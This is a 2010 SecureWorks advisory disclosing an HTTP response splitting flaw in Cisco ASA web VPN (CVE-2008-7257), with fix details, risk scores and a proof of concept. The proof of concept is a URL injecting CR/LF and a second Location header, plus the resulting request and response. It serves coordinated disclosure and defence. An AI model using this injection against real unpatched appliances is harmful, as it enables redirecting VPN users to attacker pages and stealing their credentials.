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[SWRX-2010-001] Cisco ASA HTTP Response Splitting Vulnerability


From: ctu-no-reply () secureworks com
Date: Thu, 24 Jun 2010 16:09:02 -0600

SecureWorks Security Advisory SWRX-2010-001
Cisco ASA HTTP Response Splitting Vulnerability 


Advisory Information
Title: Cisco ASA HTTP Response Splitting Vulnerability 
Advisory ID: SWRX-2010-001
Advisory URL: http://www.secureworks.com/ctu/advisories/SWRX-2010-001
Date published: Thursday, June 24, 2010
CVE: CVE-2008-7257
CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Date of last update: Thursday, June 24, 2010
Vendors contacted: Cisco Systems, Inc.
Release mode: Coordinated release
Discovered by: Daniel King, SecureWorks


Summary
Cisco Adaptive Security Appliance (ASA) is vulnerable to HTTP response splitting caused by improper validation of 
user-supplied input. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script 
in a victim’s web browser within the security context of the Adaptive Security Appliance site.


Affected Products
Cisco ASA version 8.1(1) and earlier.


Vendor Information, Solutions and Workarounds
Cisco has released a fix to address this security flaw. Upgrade to ASA software version 8.1(2) to remediate this issue.

Release Notes are available at:
http://www.cisco.com/en/US/docs/security/asa/asa81/release/notes/asarn812.html

The following “Resolved Caveat” is listed in the Release Notes:
CSCsr09163 webvpn - +webvpn+/index.html http response splitting problem.


Details
When a user connects to the web interface of the ASA via HTTP, they are automatically redirected to the SSL encrypted 
version. The web server issues a 301 Moved Permanently status code to the connecting client to facilitate this 
redirection. If the client appends the carriage return (%0d) and line feed (%0a) characters to the URL, the web server 
will parse these and allow the client to inject arbitrary HTTP response headers. Using this method, it is possible to 
inject a second Location header to the client. The client web browser will act on only the last Location header it 
encounters and redirect there.


SecureWorks Risk Scoring
Likelihood (scale of 1-5, with 5 being high): 5 – This device is designed to be on the perimeter of a network to allow 
remote access.

Impact (scale of 1-5, with 5 being high): 4 – Leveraging this attack could lead to stolen credentials and access to the 
VPN.


CVSS Severity (version 2.0)
Access Vector: Network exploitable 
Access Complexity: Low
Authentication: Not required to exploit
Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: None
Impact Subscore: 2.9
Exploitability Subscore: 10
CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N)


Proof of Concept

URL:
http://x.x.x.x/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom

Request:
GET http://x.x.x.x/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom HTTP/1.0
Host: x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Response:
HTTP/1.0 301 Moved Permanently
Server: Web Server
Location: https://x.x.x.x/
Location: http://www.google.com
Content-Type: text/html
Content-Length: 125

<HEAD><TITLE>Moved</TITLE></HEAD><BODY><A HREF="https://x.x.x.x/
Location: http://www.google.com";>Moved</A></BODY>


Revision History
1.0     Thursday, June 24, 2010 – Initial advisory release


PGP Keys
This advisory has been signed with the PGP key of the SecureWorks Counter Threat Unit(SM), which is available for 
download at http://www.secureworks.com/contact/SecureWorksCTU.asc.


About the SecureWorks Counter Threat Unit(SM)
Our expert team of threat researchers, also known as the SecureWorks Counter Threat Unit(SM), identifies and analyzes 
emerging threats and develops countermeasures, correlations and SOC processes to protect clients’ critical information 
assets. The CTU frequently serves as an expert resource for the media, publishes technical analyses for the security 
community and speaks about emerging threats at security conferences. Leveraging our security technologies and a network 
of industry contacts, the CTU tracks leading hackers and analyzes anomalous activity, uncovering new attack techniques 
and threats. This process enables the CTU to identify threats as they emerge and develop countermeasures that protect 
our clients before damage occurs.


About SecureWorks
SecureWorks is a leading provider of world-class information security services with over 2,800 clients worldwide. 
Organizations of all sizes, including more than ten percent of the Fortune 500, rely on SecureWorks to protect their 
assets, support compliance and reduce costs. The combination of deep security knowledge and expertise, purpose-built 
security technology and processes and excellent client service makes SecureWorks the premier provider of information 
security services. Positioned in the Leader's Quadrant of Gartner's Magic Quadrant for MSSPs, SecureWorks has been 
recognized by SC Magazine's readers with the “Best Managed Security Service” award for 2006, 2007, 2008 & 2009 and has 
been named to the Inc. 500, Inc. 5000 and Deloitte lists of fastest-growing companies.


Disclaimer
Copyright © 2010 SecureWorks, Inc.      
This advisory may not be edited or modified in any way without the express written consent of SecureWorks, Inc. If you 
wish to reprint this advisory or any portion or element thereof, please contact ctu () secureworks com to seek 
permission. Permission is hereby granted to link to this advisory via the SecureWorks website at 
http://www.secureworks.com/ctu/advisories/SWRX-2010-001 or use in accordance with the fair use doctrine of U.S. 
copyright laws.

The information within this advisory may change without notice. The most recent version of this advisory may be found 
on the SecureWorks web site at www.secureworks.com for a limited period of time. Use of this information constitutes 
acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this 
information or its use. ANY USE OF THIS INFORMATION IS AT THE USER'S RISK. In no event shall SecureWorks be liable for 
any damages whatsoever arising out of or in connection with the use or spread of this information.


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